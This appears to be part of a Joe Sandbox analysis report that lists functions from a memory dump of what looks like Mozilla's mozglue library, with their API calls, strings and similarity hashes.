Opcode Fuzzy Hash: 5f34aa5368d3c531cb91f3d365d8f7b52348afc5808bfc4b3193020854fcad6b
Instruction Fuzzy Hash: C2418BB5E00205CFCB00CFA9C98199AB7F5FF89308B654569DA05ABB21DB31FC84CB90

Function 6CA86590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CA7FA80: GetCurrentThreadId.KERNEL32 ref: 6CA7FA8D
Part of subcall function 6CA7FA80: AcquireSRWLockExclusive.KERNEL32(6CACF448), ref: 6CA7FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CA86727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CA867C8

Part of subcall function 6CA94290: memcpy.VCRUNTIME140(?,?,6CAA2003,6CAA0AD9,?,6CAA0AD9,00000000,?,6CAA0AD9,?,00000004,?,6CAA1A62,?,6CAA2003,?), ref: 6CA942C4

Strings

data, xrefs: 6CA86593

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 4b552336b88ccbb55299290fa8b08c8abb009b6f3f49c0bf93f103895d6586a7
Instruction ID: 55ee5e7fe6ae394ed591672b5fc375c783cdfa66d9ee6fce54cc7274b4451d5b
Opcode Fuzzy Hash: 4b552336b88ccbb55299290fa8b08c8abb009b6f3f49c0bf93f103895d6586a7
Instruction Fuzzy Hash: 31D1CF75A153408FE724CF28C941B9EB7F5BFC5308F14892DE18997B91DB30A989CB92

Function 6CA9CCF0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA8DA31,00100000,?,?,00000000,?), ref: 6CA9CDA4

Part of subcall function 6CA5CA10: malloc.MOZGLUE(?), ref: 6CA5CA26

Part of subcall function 6CA9D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA9CDBA,00100000,?,00000000,?,6CA8DA31,00100000,?,?,00000000,?), ref: 6CA9D158
Part of subcall function 6CA9D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA9CDBA,00100000,?,00000000,?,6CA8DA31,00100000,?,?,00000000,?), ref: 6CA9D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA8DA31,00100000,?,?,00000000,?), ref: 6CA9CDC4

Part of subcall function 6CA97480: ReleaseSRWLockExclusive.KERNEL32(?,6CAA15FC,?,?,?,?,6CAA15FC,?), ref: 6CA974EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA8DA31,00100000,?,?,00000000,?), ref: 6CA9CECC

Part of subcall function 6CA5CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA5CAA2

Part of subcall function 6CA8CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA9CEEA,?,?,?,?,00000000,?,6CA8DA31,00100000,?,?,00000000), ref: 6CA8CB57
Part of subcall function 6CA8CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA8CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA9CEEA,?,?), ref: 6CA8CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA8DA31,00100000,?,?,00000000,?), ref: 6CA9D058

Strings

XsgWlKPTjOWz00YnXW41wITipdmnsxFac0iIKuJNGNKAdkG6SI5cLaLxzaAqi2AecDsFyYsbwoLTRoyO+9rnYNYjjRtdEmi+DcImY2dqPuRwP8PdcD512lAmeER+pPWD4XS93PVWynqSrwGrBHzBF7JOnQTwknlTWXtDQk3PnUjb5UAgdOmVV3BVVtftMz4tqEou0p1bsw8YPOzgn0ZHtPyoGp6nJRR8+kOsGR4zco1AMPeHD9bvXtNTioIzB5BR0TBN, xrefs: 6CA9CD2C

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID: XsgWlKPTjOWz00YnXW41wITipdmnsxFac0iIKuJNGNKAdkG6SI5cLaLxzaAqi2AecDsFyYsbwoLTRoyO+9rnYNYjjRtdEmi+DcImY2dqPuRwP8PdcD512lAmeER+pPWD4XS93PVWynqSrwGrBHzBF7JOnQTwknlTWXtDQk3PnUjb5UAgdOmVV3BVVtftMz4tqEou0p1bsw8YPOzgn0ZHtPyoGp6nJRR8+kOsGR4zco1AMPeHD9bvXtNTioIzB5BR0TBN
API String ID: 861561044-945930892
Opcode ID: a9c66a2f69ab933beb24a85b829bf934d156aa34085c864a502f20aacd4dd937
Instruction ID: 8de4af03350d522a9e41291db36c0b03debaf5042664df3caede1f4367e03757
Opcode Fuzzy Hash: a9c66a2f69ab933beb24a85b829bf934d156aa34085c864a502f20aacd4dd937
Instruction Fuzzy Hash: EAD17E71A14B069FD708CF28C581B99F7F1BF89308F05862DD8598B712EB31A9A5CB81

Function 6CA7D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CA4EB57,?,?,?,?,?,?,?,?,?), ref: 6CA7D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CA4EB57,?), ref: 6CA7D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CA4EB57,?), ref: 6CA7D673
free.MOZGLUE(?), ref: 6CA7D888

Strings

|Enabled, xrefs: 6CA7D81E

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 7ffa764495ccf89dafdce65bfbe66f1847b3f6e30d14ad55d2adef62a9c23f4a
Instruction ID: 1b0614ba9acbc2ba75b31dd77f080d9fcc37132b1335fb63d121b68e47c4d749
Opcode Fuzzy Hash: 7ffa764495ccf89dafdce65bfbe66f1847b3f6e30d14ad55d2adef62a9c23f4a
Instruction Fuzzy Hash: E3A1D1B8E003458FDB25CF69C4806EEBBF1BF49318F18815CD895AB741D735A989CBA1

Function 6CA7F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CA7F480

Part of subcall function 6CA4F100: LoadLibraryW.KERNEL32(shell32,?,6CABD020), ref: 6CA4F122
Part of subcall function 6CA4F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CA4F132

CloseHandle.KERNEL32(00000000), ref: 6CA7F555

Part of subcall function 6CA514B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CA51248,6CA51248,?), ref: 6CA514C9
Part of subcall function 6CA514B0: memcpy.VCRUNTIME140(?,6CA51248,00000000,?,6CA51248,?), ref: 6CA514EF

Part of subcall function 6CA4EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CA4EEE3

CreateFileW.KERNEL32 ref: 6CA7F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CA7F523

Strings

\oleacc.dll, xrefs: 6CA7F4CB

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 4318f6a59922cbe738a73946b19a5a681847f643b0c74df5b3d0ab0ceeab3d88
Instruction ID: 4630f6556d2006a160519a209b73be288d0a3ca5290f745f9a453f1afbccf2d6
Opcode Fuzzy Hash: 4318f6a59922cbe738a73946b19a5a681847f643b0c74df5b3d0ab0ceeab3d88
Instruction Fuzzy Hash: 9541B4706087119FE724DF29DD84AABB7F4BF44318F504A1CF59183650EB70DA89CBA2

Function 6CA8E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CA54A68), ref: 6CA8945E
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA89470
Part of subcall function 6CA89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA89482
Part of subcall function 6CA89420: __Init_thread_footer.LIBCMT ref: 6CA8949F

GetCurrentThreadId.KERNEL32 ref: 6CA8E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA8E04F

Part of subcall function 6CA894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CA894EE
Part of subcall function 6CA894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CA89508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA8E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6CA8E057

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: 2e14be93e739b379b65ee50cf38fbbca19be86112988b163760d8a1c87c0e480
Instruction ID: 98833f40882430ef67017b92f7404a13d4644865f280011f33951ad44173f9b8
Opcode Fuzzy Hash: 2e14be93e739b379b65ee50cf38fbbca19be86112988b163760d8a1c87c0e480
Instruction Fuzzy Hash: 9521D778B022099FDF04DF64D9586EEB7B5BF45208F144424EC0A97741DB31E98AC7E1

Function 6CAA74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CAA7526
__Init_thread_footer.LIBCMT ref: 6CAA7566
__Init_thread_footer.LIBCMT ref: 6CAA7597

Strings

UnmapViewOfFile2, xrefs: 6CAA7552
kernel32.dll, xrefs: 6CAA7557

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 24b26946292fb27000bb7b4d9a797878125958844c0906ae2c61466ad5607a84
Instruction ID: cf4f02ca5306d0859e0f0c6b918c8f9d644035007e54945d54e95a7bf10bc183
Opcode Fuzzy Hash: 24b26946292fb27000bb7b4d9a797878125958844c0906ae2c61466ad5607a84
Instruction Fuzzy Hash: 4D21F531701602EFCA188BE8CD14E9A3376FB86324F04852CE806D7F40C731B9DB86A6

Function 6CAAA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CACF770,-00000001,?,6CABE330,?,6CA6BDF7), ref: 6CAAA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6CA6BDF7), ref: 6CAAA7C2
moz_xmalloc.MOZGLUE(00000018,?,6CA6BDF7), ref: 6CAAA7E4
LeaveCriticalSection.KERNEL32(6CACF770), ref: 6CAAA80A

Strings

accelerator.dll, xrefs: 6CAAA7BF

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: cd20fb8c77361fb9f88c67da3ee11638c9ce970dc78be212296ac615562cec47
Instruction ID: ad4cc32650b367f922746e513c89142c3f9a93bee83dba410fb235001712bd34
Opcode Fuzzy Hash: cd20fb8c77361fb9f88c67da3ee11638c9ce970dc78be212296ac615562cec47
Instruction Fuzzy Hash: 960178B57003049F9B08CF99D884C12BBF9FF8A314708806AE9098B741DB71AD55CFA1

Function 6CA4F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6CA4EE51,?), ref: 6CA4F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6CA4F0C2

Strings

Could not find CoTaskMemFree, xrefs: 6CA4F0E3
ole32, xrefs: 6CA4F0AD
Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6CA4F0DC

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: b597b2749a163c77e6ab49c78b25bc218a80f5c85cec74302fba7a9f22910a7e
Instruction ID: df27dfaefd16f44e8328bd7948a740467295301588ae862db10fe9560e904745
Opcode Fuzzy Hash: b597b2749a163c77e6ab49c78b25bc218a80f5c85cec74302fba7a9f22910a7e
Instruction Fuzzy Hash: F4E0D8743453039F9F181B626C08A3A37B87BD250E304C13DE502C1E00FE21D581C776

Function 6CA80080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA57204), ref: 6CA80088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6CA800A7
FreeLibrary.KERNEL32(?,6CA57204), ref: 6CA800BE

Strings

wintrust.dll, xrefs: 6CA80083
CryptCATAdminAcquireContext2, xrefs: 6CA800A1

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 6bed8e5c7d0b2841b85dd3eb3e24774920be7676782d48dc3462791f41a6d33f
Instruction ID: 2b3d4b65a28defbad7e8b31f20527cbbb28e110042a73000f30e329ef5608bae
Opcode Fuzzy Hash: 6bed8e5c7d0b2841b85dd3eb3e24774920be7676782d48dc3462791f41a6d33f
Instruction Fuzzy Hash: 60E01274742306DBEF08AF669C4C7113AF8BB0B344F00C11AEA10C2650DBB5C2829B22

Function 6CA800D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6CA57235), ref: 6CA800D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6CA800F7
FreeLibrary.KERNEL32(?,6CA57235), ref: 6CA8010E

Strings

wintrust.dll, xrefs: 6CA800D3
CryptCATAdminCalcHashFromFileHandle2, xrefs: 6CA800F1

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: 75759bbaaa8a6675ff55f16bd1fc7d033575222658fcf949bd82b0c514a0a329
Instruction ID: 0f67f82672d1c23bc73301795b4209fe4d6bd316785ea6504e054e1db1fad59e
Opcode Fuzzy Hash: 75759bbaaa8a6675ff55f16bd1fc7d033575222658fcf949bd82b0c514a0a329
Instruction Fuzzy Hash: B9E04F747823079BEF089F65DD4D7213AF8A703314F54C019E90A81650D771C382CB11

Function 6CAAC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAAC0E9), ref: 6CAAC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CAAC437
FreeLibrary.KERNEL32(?,6CAAC0E9), ref: 6CAAC44C

Strings

ntdll.dll, xrefs: 6CAAC413
NtQueryVirtualMemory, xrefs: 6CAAC431

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: c44c7c05dfa09c09af33e92af27465f182f42611864c95a901bdaae3b8f71383
Instruction ID: 3d38090010168ddbfa786ecb0b8c1a73e3123bad464b7c6692cb6fe2d02c11e5
Opcode Fuzzy Hash: c44c7c05dfa09c09af33e92af27465f182f42611864c95a901bdaae3b8f71383
Instruction Fuzzy Hash: 36E0927860530ADFEB086BB59D4C7517AF8B706A08F08C21EBA0492640EBB2C6438B54

Function 6CAA75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAA748B,?), ref: 6CAA75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CAA75D7
FreeLibrary.KERNEL32(?,6CAA748B,?), ref: 6CAA75EC

Strings

ntdll.dll, xrefs: 6CAA75B3
RtlNtStatusToDosError, xrefs: 6CAA75D1

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 0112f843a10767641fdcd626c9f5d8d0efb676837ad404898e873acbe7090ca7
Instruction ID: 27c77064953df50fc86ee2cee4b1e40578c9bc8d13447f01c800ad5eff2ff3f8
Opcode Fuzzy Hash: 0112f843a10767641fdcd626c9f5d8d0efb676837ad404898e873acbe7090ca7
Instruction Fuzzy Hash: 28E09A75640307ABEB085BAADC487427AF8EB07614F14C129AD05E2640DB71C2978F15

Function 6CAA7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CAA7592), ref: 6CAA7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6CAA7627
FreeLibrary.KERNEL32(?,6CAA7592), ref: 6CAA763C

Strings

ntdll.dll, xrefs: 6CAA7603
NtUnmapViewOfSection, xrefs: 6CAA7621

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 69be5bce9edc5bfbce795408e22296d3650a870517e137af69b46ae3aae2cd92
Instruction ID: 6f4a00d564d5d62abd3d3e6f09d22a6fc53fa8872c3bdcef2e6757e002624639
Opcode Fuzzy Hash: 69be5bce9edc5bfbce795408e22296d3650a870517e137af69b46ae3aae2cd92
Instruction Fuzzy Hash: 5FE012B4200306ABEF086FAADC087423AB8F70A258F00C219ED04D2B10E7B182668B18

Function 6CAABE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CAABE49), ref: 6CAABEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CAABEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CAABE49), ref: 6CAABF38
RtlReAllocateHeap.NTDLL ref: 6CAABF83
RtlFreeHeap.NTDLL(6CAABE49,00000000), ref: 6CAABFA6

Memory Dump Source

Source File: 00000000.00000002.2037814951.000000006CA41000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA40000, based on PE: true

Associated: 00000000.00000002.2037787029.000000006CA40000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037877310.000000006CABD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037911519.000000006CACE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2037943227.000000006CAD2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca40000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 83b3b144634137ea6b6df1b435f0ca30e4a089c80eb978de0d19d4917f5c055d
Instruction ID: d24d3ceb5761296ed6ba1c65301d2b22272710559c10454cdcb45422425b2394
Opcode Fuzzy Hash: 83b3b144634137ea6b6df1b435f0ca30e4a089c80eb978de0d19d4917f5c055d
Instruction Fuzzy Hash: BA517071A002058FE714DFA9D980BAEB7A6FF88314F2D8639D515A7B54D730F9878B80

Function 6CA98E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CA8B58D,?,?,?,?,?,?,?,6CABD734,?,?,?,6CABD734), ref: 6CA98E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA8B58D,?,?,?,?,?,?,?,6CABD734,?,?,?,6CABD734), ref: 6CA98EBF
free.MOZGLUE(?,?,?,?,6CA8B58D,?,?,?,?,?,?,?,6CABD734,?,?,?), ref: 6CA98F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CA8B58D,?,?,?,?,?,?,?,6CABD734,?,?,?,6CABD734), ref: 6CA98F46
free.MOZGLUE(?,?,?,?,6CA8B58D,?,?,?,?,?,?,?,6CABD734,?,?,?), ref: 6CA98F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CA8B58D,?,?,?,?,?,?,?,6CABD734,?,?,?), ref: 6CA98F8F

Memory Dump Source

